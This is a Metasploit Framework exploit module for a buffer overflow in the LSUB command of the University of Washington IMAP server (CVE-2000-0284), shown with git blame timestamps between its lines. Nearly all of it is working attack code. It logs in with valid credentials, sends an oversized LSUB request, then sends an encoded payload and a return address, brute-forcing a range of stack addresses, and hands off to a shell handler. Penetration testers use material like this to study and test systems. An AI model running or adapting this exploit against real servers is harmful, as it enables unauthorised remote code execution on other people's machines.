metasploit-framework/modules/exploits/linux/imap/imap_uw_lsub.rb

88 lines
2.3 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = GoodRanking
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Brute
include Msf::Exploit::Remote::Imap
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(update_info(info,
2013-11-15 06:03:42 +00:00
'Name' => 'UoW IMAP Server LSUB Buffer Overflow',
2013-08-30 21:28:54 +00:00
'Description' => %q{
This module exploits a buffer overflow in the 'LSUB'
command of the University of Washington IMAP service.
This vulnerability can only be exploited with a valid username
and password.
},
'Author' => [ 'patrick', 'jduck' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2000-0284' ],
[ 'OSVDB', '12037' ],
2013-08-30 21:28:54 +00:00
[ 'BID', '1110' ],
[ 'EDB', '284' ]
],
'Privileged' => false,
'Payload' =>
{
'Space' => 964,
'BadChars' => "\x00\x0a\x0d\x2f",
'StackAdjustment' => -3500,
},
'Platform' => 'linux',
'Targets' =>
[
# ['RedHat 6.2 - IMAP4rev1 v12.264', { 'Ret' => 0xbffff310 }],
[ 'Linux Bruteforce',
{
'Platform' => 'linux',
'Offset' => 1064,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xbffffdfc },
'Stop' => { 'Ret' => 0xbfa00000 },
'Step' => 200
}
},
]
],
'DisclosureDate' => 'Apr 16 2000',
'DefaultTarget' => 0))
end
2013-08-30 21:28:54 +00:00
def check
connect
disconnect
2014-01-21 23:14:55 +00:00
if (banner =~ /IMAP4rev1 v12\.264/)
return Exploit::CheckCode::Appears
2013-08-30 21:28:54 +00:00
end
return Exploit::CheckCode::Safe
2013-08-30 21:28:54 +00:00
end
2013-08-30 21:28:54 +00:00
def brute_exploit(addresses)
print_status("Trying 0x%.8x ..." % addresses['Ret'])
2013-08-30 21:28:54 +00:00
if (not connect_login)
fail_with(Failure::Unknown, "Unable to log in!")
end
2013-08-30 21:28:54 +00:00
req = "a002 LSUB \"\" {%d}\r\n" % target['Offset']
sock.put(req)
buf = sock.get_once
2013-08-30 21:28:54 +00:00
sploit = payload.encoded + rand_text_alphanumeric(64) + [addresses['Ret']].pack('V') + rand_text_alphanumeric(32) + "\r\n"
sock.put(sploit)
2013-08-30 21:28:54 +00:00
handler
disconnect
end
end